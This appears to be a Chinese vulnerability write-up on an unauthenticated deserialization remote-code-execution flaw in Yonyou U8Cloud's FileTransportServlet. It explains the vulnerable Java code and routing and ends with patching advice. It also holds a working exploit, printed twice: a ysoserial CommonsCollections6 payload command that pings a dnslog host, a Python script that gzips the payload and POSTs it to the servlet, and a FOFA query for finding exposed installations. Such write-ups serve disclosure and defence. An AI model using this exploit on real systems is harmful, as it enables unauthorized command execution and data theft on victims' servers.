U8cloud系统FileTransportServlet
方法中存在对前端传入内容GZIP
解压并反序列化解析,造成反序列化漏洞,攻击者未经授权可以执行任意系统命令,造成敏感信息信息泄露。
1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp
在U8cloud系统中,存在利用方法简单没有任何过滤的反序列化漏洞
首先以用友U8Cloud FileTransportServlet
反序列化漏洞为例,FileTransportServlet
类方法如下
关键代码如下
public void performTask(HttpServletRequest request, HttpServletResponse response) throws Exception {
GZIPInputStream input = new GZIPInputStream((InputStream)request.getInputStream());
GZIPOutputStream output = new GZIPOutputStream((OutputStream)response.getOutputStream());
ObjectOutputStream objOut = new ObjectOutputStream(output);
ObjectInputStream objInput = new ObjectInputStream(input);
FileTransportVO transVO = (FileTransportVO)objInput.readObject();
UnitInfoVO unitInfo = IUFOUICacheManager.getSingleton().getUnitCache().getUnitInfoByCode(transVO.getUnitCode());
if (unitInfo != null) {
String strUnitID = unitInfo.getPK();
ImportFileUtil.importFileByUnit(request.getSession().getId(), transVO.getContent(), strUnitID, transVO.getLangCode());
objOut.writeObject(null);
} else {
objOut.writeObject(new UfoException("miufoexpnew00034", new String[] { transVO.getUnitCode() }));
}
objInput.close();
objOut.close();
input.close();
output.close();
}
FileTransportServlet
类中的performTask
方法在初始化时候就会被调用,这里使用GZIPInputStream
接收前端的内容传参,之后对内容使用ObjectInputStream.readObject
进行反序列化
GZIPInputStream
到底是什么作用呢,看下Java的官方库可以得知,这个类主要用于接收经过GZIP
文件格式压缩过的数据流
后端没有对内容做过滤,只需在构造请求时候对内容加一层GZIP压缩即可让后端反序列化执行任意的命令
然后这里简单提一下,要调用FileTransportServlet
类,只要在请求路由加上/~service
+FileTransportServlet
类的完整路径
查看系统的Web.xml
,可以看见请求/service
和/servlet
前缀的都经过NCInvokerServlet
方法处理
NCInvokerServlet
方法主要功能是获得url路径后,如果是以/~
开头,截取第一部分为moduleName
,然后再截取第二部分为serviceName
,再根据getServiceObject(moduleName, serviceName)
实现任意Servlet的调用
回到漏洞,这里测试使用ysoserial-all.jar
生成cc6
的利用链请求dnslog,保存到本地的c.bin文件中
java -jar ysoserial-all.jar CommonsCollections6 "ping xxe.jagvy1.dnslog.cn" > c.bin
再编写一个python脚本读取c.bin文件内容来请求,记得对请求内容进行GZIP
压缩,脚本如下
import requests
import gzip
# 读取本地文件bin的内容
with open("c.bin", "rb") as f:
content = f.read()
# 对内容进行 GZIP 压缩
compressed_content = gzip.compress(content)
# 目标 URL
url = "http://目标地址/servlet/~iufo/nc.ui.iufo.server.center.FileTransportServlet"
# 发送 POST 请求
try:
response = requests.post(url=url, data=compressed_content)
print("Response Status Code:", response.status_code)
print("Response Content:", response.text)
except requests.exceptions.RequestException as e:
print("An error occurred:", e)
请求成功
dnslog上面接收到请求,验证反序列化ping命令执行成功
U8cloud系统FileTransportServlet
接口的方法中对传入数据流进行GZIP
解压后解析造成了反序列化漏洞,攻击者可以构造执行任意的命令。
FOFA语法
app="用友-U8-Cloud"
POC
使用ysoserial-all.jar
生成cc6
的利用链请求dnslog,保存到本地的c.bin文件中
java -jar ysoserial-all.jar CommonsCollections6 "ping xxe.jagvy1.dnslog.cn" > c.bin
使用Python脚本如下进行请求
import requests
import gzip
# 读取本地文件bin的内容
with open("c.bin", "rb") as f:
content = f.read()
# 对内容进行 GZIP 压缩
compressed_content = gzip.compress(content)
# 目标 URL
url = "http://目标地址/servlet/~iufo/nc.ui.iufo.server.center.FileTransportServlet"
# 发送 POST 请求
try:
response = requests.post(url=url, data=compressed_content)
print("Response Status Code:", response.status_code)
print("Response Content:", response.text)
except requests.exceptions.RequestException as e:
print("An error occurred:", e)
请求成功
dnslog上面接收到请求,验证反序列化ping命令执行成功
安装用友U8cloud最新的补丁,删除或过滤对应FileTransportServlet
方法中的反序列化接口,避免未授权用户执行恶意的命令获取敏感信息。
8 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!